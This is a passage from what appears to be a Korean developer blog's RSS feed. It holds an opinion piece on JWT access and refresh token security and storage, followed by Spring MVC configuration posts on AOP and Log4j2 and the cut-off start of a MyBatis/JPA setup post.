&lt;p data-ke-size=&quot;size16&quot;&gt;JWT는 아이디와 비밀번호의 인증이 끝난뒤에 발급된 허가권이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 이 허가권만 탈취하면 아이디와 비밀번호없이 데이터를 해킹할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 대응하기 위해서 토큰의 토큰의 토큰의 토큰으로 사용할 것인가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JWT를 사용하는 이유를 생각해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가적인 인증 과정을 만들어 버린다면 그 시점에서 JWT를 사용할 장점과 이유가 완전히 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더불어서 토큰을 '안전한 장소에 보관' 하는 방법은 &lt;u&gt;전혀 존재하지 않는다.&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 절대로 빈말이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;local Storage 는 js로 바로바로 털어낼 수 있고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;session에 저장한다면 jwt의 개념 자체가 박살나며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cookie 에 저장해서 http only로 저장하라는 의견도 있는데 rest로 보내면 그만이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+이게 무슨소리냐면 http only로 저장한 토큰은 사용을 위해서 이리되고 저리됬든&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 rest 코드가 반드시 들어갈 수 밖에 없기 때문에 입출력에서 허점이 존재한다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차이점이 있다면 조금 더 귀찮은 정도 뿐이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;js 변수에 저장하라는 말도 있었다. 사용자가 브라우저로 새로고침하면 토큰이 날라간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 새로고침에 대응하기 위해서 결국 local Storage , cookie를 쓰게되니 번거로움만 남는다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;4.리프레시 토큰&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 취약점을 지니고 있으나 현재시점에서 jwt가 쓰일 수 있는 유일한 이유는 리프레시 토큰이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리프레시 토큰을 알아보기 전에 준비과정인 인증(Authentication)부분을 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번엔 아이디와 비밀번호 검증이 끝난 뒤, 이번엔 토큰을 두개 지급한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토큰 A는 사용을 허가할때 쓰는 Access token, 또 다른 하나는&amp;nbsp; Refresh token.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Access token 에는 DB에서 정보를 꺼내기 위해서 존재하는 유저 정보와 토큰의 제한&amp;nbsp;시간이 적혀있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Refresh token 에는 refresh token의 제한시간과 +alpha가 들어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리프레시 토큰은 access token의 제한 시간이 끝나면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 access token을 이어서 받을때에 서버에 접속하기 위한 인가(Authorization) 에 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인가가 끝난뒤, 어떤 유저의 토큰을 제작해야 하는가를 판단할 데이터가 추가로 필요한데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부분을 +alpha 로 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 처리 함으로써 access token가 탈취 되었더라도 이미 기한이 종료된 토큰이므로 공격을 어느정도 예방한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방법은 완벽하지 않지만 현재 대중적으로 사용되고 있는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;완벽하지 않은이유는 아래와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1.access token 의 기한은 짧아야 한다. 즉, 서버에 계속해서 신호를 보낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2.기한이 짧다고 완벽한 것이 아니다. 결국 탈취한뒤에 사용할 수 있는 여백의 시간은 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 두가지 문제가 서로 충돌하는 점 또한 고려해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에 적절한 제한시간의 조율이 필요하다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4.오해&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;흔히들 사용하는 jwt의 사용원칙은 아래와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;access token은 짧게, &lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;refresh token은 길게.&lt;/span&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;토큰은 안전한 장소에 보관.&lt;/span&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글을 쭉 읽고 따라왔다면 이해할 것이다. 프론트 엔드에서 토큰을 안전하게 보관할 장소는 존재할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안전하게 보관이 가능하다면 그 시점에서 이미 개발자 또한 토큰을 사용할 방법이 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 주목할 부분은 refresh token은 길게라는 개념의 부분인데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;refresh token은 access token을 지급 받는 용도 외에 사용되지 않으므로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유저의 정보를 해킹하는 것과 거리가 먼 &lt;span style=&quot;color: #ee2323;&quot;&gt;비교적&lt;/span&gt; 안전한 탈취라는 의미로 쓰이는 말이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 토큰을 방어하는것은 불가능하니 털린다는 것을 전제로 구현하라는 것이 진짜 뜻이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;5.리프레시 코튼이 탈취되면?&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면, refresh token을 탈취 당하는 것이 정말 안전한가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안전하다고 하는 이들이 많지만 작자는 아니라고 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rsa 암호화를 사용하기 때문에 상대적으로 토큰의 해시코드가 털릴 가능성은 낮으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리프레시 토큰에서도 결국 사용자를 식별할 수 있는 정보가 포함되어 있기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 활용한 해킹 공격의 (ex.SQL injection) 의 표적으로 삼을 수 있고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자신의 계정에서 refresh token을 추출한 뒤, 유저 식별 정보를 위조해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 계정의 access token을 획득할 수도 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복호화 없이 토큰 자체를 바로 적용한뒤 access token을 획득할 가능성도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 &lt;b&gt;토큰을 구현 하겠다면&lt;/b&gt; 핵심적으로 방어해야하는 부분이 refresh token이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토큰의 변조여부(sha의 비밀키가 털렸을 가능성), 토큰의 탈취여부에 대응해야만 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그것이 jwt를 구현할 수 있는 최소한의 자격이라고 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;Final. JWT에 대한 정리&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1.jwt는 보안적으로 상당히 위험한 허점이 있다. 그러므로 제대로 그 구조를 알고 사용하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2.jwt를 쓰면 대조를 위한 DB와의 통신을 줄일 수 있다. 그러나 서버와의 통신이 그 이상으로 늘어난다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.jwt를 안전하게 보관할 방법은 없다. cookie 와 localStorage는 각각 csrf, xss 공격에 취약점이있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4.그러므로 고민하지 말고 보관은 자유롭게 하되, 서버측에서 토큰의 변조, 탈취 검사를 제대로 할것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/개발지식</category>
      <category>JWT</category>
      <category>정보보안</category>
      <author>불친절한 토리씨</author>
      <guid isPermaLink="true">https://mytory.tistory.com/244</guid>
      <comments>https://mytory.tistory.com/244#entry244comment</comments>
      <pubDate>Wed, 18 Jan 2023 20:40:23 +0900</pubDate>
    </item>
    <item>
      <title>[project config] Spring 유닛 설정</title>
      <link>https://mytory.tistory.com/243</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;본 글은 Spring boot 이 아닌 Spring mvc 를 기준으로 하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;1.Spring AOP&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;①pom.xml 에 maven 의존 추가&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1671786413257&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	&amp;lt;dependency&amp;gt;
		&amp;lt;groupId&amp;gt;org.aspectj&amp;lt;/groupId&amp;gt;
		&amp;lt;artifactId&amp;gt;aspectjweaver&amp;lt;/artifactId&amp;gt;&amp;lt;!--AOP--&amp;gt;
		&amp;lt;version&amp;gt;1.8.14&amp;lt;/version&amp;gt;
	&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;②configuration 설정 (2중 1택)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;1)java configuration&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1671786646093&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Configuration
@EnableWebMvc
@EnableAspectJAutoProxy(proxyTargetClass = true)
public class MvcConfiguration{

@Bean
public AspectHouse aspectHouse(){
	return new AspectHouse();
}

}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;2)xml configuration&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1671786792020&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;beans 
xsi:schemaLocation=&quot;... +
http://www.springframework.org/schema/aop
http://www.springframework.org/schema/aop/spring-aop-4.3.xsd&quot;
xmlns:aop=&quot;http://www.springframework.org/schema/aop&quot;&amp;gt;

...+
&amp;lt;aop:aspectj-autoproxy /&amp;gt;
&amp;lt;bean id=&quot;aspect&quot; class=&quot;com.exjample.AspectHouse&quot;/&amp;gt;
&amp;lt;/beans&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;※컴포넌트 스캔을 통해서 @Component 로 빈을 등록하는 방법도 존재합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;③pointcut 설정&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1671787024865&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Aspect
public class AspectHouse {
	@Pointcut(&quot;execution(public void package.class.method(..))&quot;)
    public void pointcut(){}
	@Around(&quot;Pointcut Method Name()&quot;)
    public void around(){}
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;2.Log4j2&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;①pom.xml 에 maven 의존 추가&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1671787630921&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	&amp;lt;dependency&amp;gt;
		&amp;lt;groupId&amp;gt;org.apache.logging.log4j&amp;lt;/groupId&amp;gt;
		&amp;lt;artifactId&amp;gt;log4j-core&amp;lt;/artifactId&amp;gt;&amp;lt;!-- v16미만 에서 심각한 취약점발견 --&amp;gt;
		&amp;lt;version&amp;gt;2.17.0&amp;lt;/version&amp;gt;
	&amp;lt;/dependency&amp;gt;
	
	&amp;lt;dependency&amp;gt;
		&amp;lt;groupId&amp;gt;org.apache.logging.log4j&amp;lt;/groupId&amp;gt;
		&amp;lt;artifactId&amp;gt;log4j-api&amp;lt;/artifactId&amp;gt;
		&amp;lt;version&amp;gt;2.17.0&amp;lt;/version&amp;gt;
	&amp;lt;/dependency&amp;gt;
    
    &amp;lt;dependency&amp;gt;
		&amp;lt;groupId&amp;gt;org.apache.logging.log4j&amp;lt;/groupId&amp;gt;
		&amp;lt;artifactId&amp;gt;log4j-slf4j-impl&amp;lt;/artifactId&amp;gt;
		&amp;lt;version&amp;gt;2.17.0&amp;lt;/version&amp;gt;
	&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;※ 취약점이란, 홈페이지에 접속하는 것 만으로 서버 컴퓨터를 조종할 수 있을 정도의&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;심각한 취약점이니 미만의 버전을 절대로 사용하지 마세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;②classpath 에 log4j2.xml 작성&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;작성예시&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1671787857671&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;Configuration status=&quot;INFO&quot;&amp;gt;

&amp;lt;Properties&amp;gt;
  &amp;lt;Property name=&quot;dbName&quot;&amp;gt;database&amp;lt;/Property&amp;gt;
  &amp;lt;Property name=&quot;usrName&quot;&amp;gt;user&amp;lt;/Property&amp;gt;
  &amp;lt;Property name=&quot;sprName&quot;&amp;gt;spring&amp;lt;/Property&amp;gt;
  &amp;lt;Property name=&quot;path&quot;&amp;gt;logs&amp;lt;/Property&amp;gt;
  &amp;lt;Property name=&quot;pattern&quot;&amp;gt;%d [%t] %-5level %c(%M:%L) - %m%n&amp;lt;/Property&amp;gt;
&amp;lt;/Properties&amp;gt;

&amp;lt;Appenders&amp;gt;
	
	&amp;lt;Console name=&quot;console&quot; target=&quot;SYSTEM_OUT&quot;&amp;gt;
   		&amp;lt;PatternLayout pattern=&quot;${pattern}&quot; /&amp;gt;
  	&amp;lt;/Console&amp;gt;

	&amp;lt;RollingFile name=&quot;dbfile&quot; fileName=&quot;/${path}/${dbName}.log&quot; 
    	filePattern=&quot;/${path}/${dbName}_%d{yyyy-MM-dd}_%i.log&quot;&amp;gt;
		&amp;lt;PatternLayout pattern=&quot;${pattern}&quot; /&amp;gt;
		&amp;lt;Policies&amp;gt;
        		&amp;lt;!-- 일별 로그 파일 생성--&amp;gt;
			&amp;lt;TimeBasedTriggeringPolicy modulate=&quot;true&quot; interval=&quot;1&quot; /&amp;gt;
			&amp;lt;SizeBasedTriggeringPolicy size=&quot;10MB&quot; /&amp;gt;
		&amp;lt;/Policies&amp;gt;
		&amp;lt;DefaultRolloverStrategy max=&quot;365&quot; fileIndex=&quot;min&quot; /&amp;gt;
	&amp;lt;/RollingFile&amp;gt;
	
	&amp;lt;RollingFile name=&quot;usrfile&quot; fileName=&quot;/${path}/${usrName}.log&quot; 
    	filePattern=&quot;/${path}/${logName}_%d{yyyy-MM-dd}_%i.log&quot;&amp;gt;
		&amp;lt;PatternLayout pattern=&quot;${pattern}&quot; /&amp;gt;
		&amp;lt;Policies&amp;gt;
			&amp;lt;TimeBasedTriggeringPolicy modulate=&quot;true&quot; interval=&quot;1&quot; /&amp;gt;
			&amp;lt;SizeBasedTriggeringPolicy size=&quot;10MB&quot; /&amp;gt;
		&amp;lt;/Policies&amp;gt;
		&amp;lt;DefaultRolloverStrategy max=&quot;365&quot; fileIndex=&quot;min&quot; /&amp;gt;
	&amp;lt;/RollingFile&amp;gt;
	
	&amp;lt;RollingFile name=&quot;springfile&quot; fileName=&quot;/${path}/${sprName}.log&quot; 
    	filePattern=&quot;/${path}/${sprName}_%d{yyyy-MM-dd}_%i.log&quot;&amp;gt;
		&amp;lt;PatternLayout pattern=&quot;${pattern}&quot; /&amp;gt;
		&amp;lt;Policies&amp;gt;
			&amp;lt;TimeBasedTriggeringPolicy modulate=&quot;true&quot; interval=&quot;1&quot; /&amp;gt;
			&amp;lt;SizeBasedTriggeringPolicy size=&quot;10MB&quot; /&amp;gt;
		&amp;lt;/Policies&amp;gt;
		&amp;lt;DefaultRolloverStrategy max=&quot;365&quot; fileIndex=&quot;min&quot; /&amp;gt;
	&amp;lt;/RollingFile&amp;gt;

&amp;lt;/Appenders&amp;gt;

&amp;lt;Loggers&amp;gt;
	&amp;lt;Root level=&quot;DEBUG&quot; additivity=&quot;false&quot; &amp;gt;
		&amp;lt;AppenderRef ref=&quot;dbfile&quot; /&amp;gt;
		&amp;lt;AppenderRef ref=&quot;usrfile&quot; /&amp;gt;
		&amp;lt;AppenderRef ref=&quot;springfile&quot; /&amp;gt;
	&amp;lt;/Root&amp;gt;
	
	&amp;lt;logger name=&quot;org.springframework&quot; level=&quot;INFO&quot; additivity=&quot;false&quot; &amp;gt;
		&amp;lt;AppenderRef ref=&quot;springfile&quot; /&amp;gt;
	&amp;lt;/logger&amp;gt;
	
	&amp;lt;Logger name=&quot;jdbc.sqltiming&quot; level=&quot;TRACE&quot; additivity=&quot;false&quot;&amp;gt;
    	&amp;lt;AppenderRef ref=&quot;dbfile&quot; /&amp;gt;
	&amp;lt;/Logger&amp;gt;
	
	&amp;lt;Logger name=&quot;log.UserLog&quot; level=&quot;TRACE&quot; additivity=&quot;false&quot;&amp;gt;
		&amp;lt;AppenderRef ref=&quot;usrfile&quot; /&amp;gt;
		&amp;lt;AppenderRef ref=&quot;console&quot; /&amp;gt;
	&amp;lt;/Logger&amp;gt;
&amp;lt;/Loggers&amp;gt;

&amp;lt;/Configuration&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;※classpath 는 .classpath 파일내부에 적혀있는 경로들중 한곳입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;예를들어 path=&quot;src/main/webapp&quot; 일때 webapp안에 log4j2.xml을 작성합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;※보통은 resource 나 WEB-INF , webapp 등이 classpath 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;※.classpath 내부에 &amp;lt;classpathentry kind=&quot;src&quot; path=&quot;src/main/webapp&quot;/&amp;gt; 를 추가해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;classpath 경로를 설정할 수 있습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;③logger 예시&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1671788151320&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class UserLog {
	
	private static UserLog instance = null;
	final Logger logger = LogManager.getLogger(UserLog.class);
	
	private UserLog() {}
	
	public static UserLog getInstance() {
		if(instance != null)
			return instance;
		instance = new UserLog();
		return instance;
	}
	
	public void log(String massage , Level... level) {
		try {
			logger.log(level[0],massage);
		}catch(NullPointerException e) {
			logger.log(Level.DEBUG,massage);
		}
	}

}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;log4j2.xml 에 작성한 log.UserLog 클래스 내부에서 log를 찍으면 결과가 파일에 보존됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;다만, 특정 구간을 지정해서 로그를 사용하는 불편함이 문제라면 이와 같이 사용한다는 예시입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/개발환경구축</category>
      <category>AOP</category>
      <category>log4j</category>
      <author>불친절한 토리씨</author>
      <guid isPermaLink="true">https://mytory.tistory.com/243</guid>
      <comments>https://mytory.tistory.com/243#entry243comment</comments>
      <pubDate>Fri, 23 Dec 2022 18:37:35 +0900</pubDate>
    </item>
    <item>
      <title>누군가가 블로그를 해킹했나...?</title>
      <link>https://mytory.tistory.com/242</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;상단에 해더 폭 바꾼사람 누굽니까&lt;/p&gt;</description>
      <category>여러가지생각</category>
      <author>불친절한 토리씨</author>
      <guid isPermaLink="true">https://mytory.tistory.com/242</guid>
      <comments>https://mytory.tistory.com/242#entry242comment</comments>
      <pubDate>Wed, 30 Nov 2022 18:29:32 +0900</pubDate>
    </item>
    <item>
      <title>[Project Config] Spring에 Mybatis 혹은 JPA 연동하기</title>
      <link>https://mytory.tistory.com/241</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+2020-12-12 jpa 연동 관련 pom 작성 오류를 수정 , 방언관련 수정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+2020-12-13 jpa base-packege 관련 정보를 추가, MyBatis 의 Path 관련 정보 추가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+2020-12-14 jpa auto create 관련 오류정보를 추가&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;1.MyBatis&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
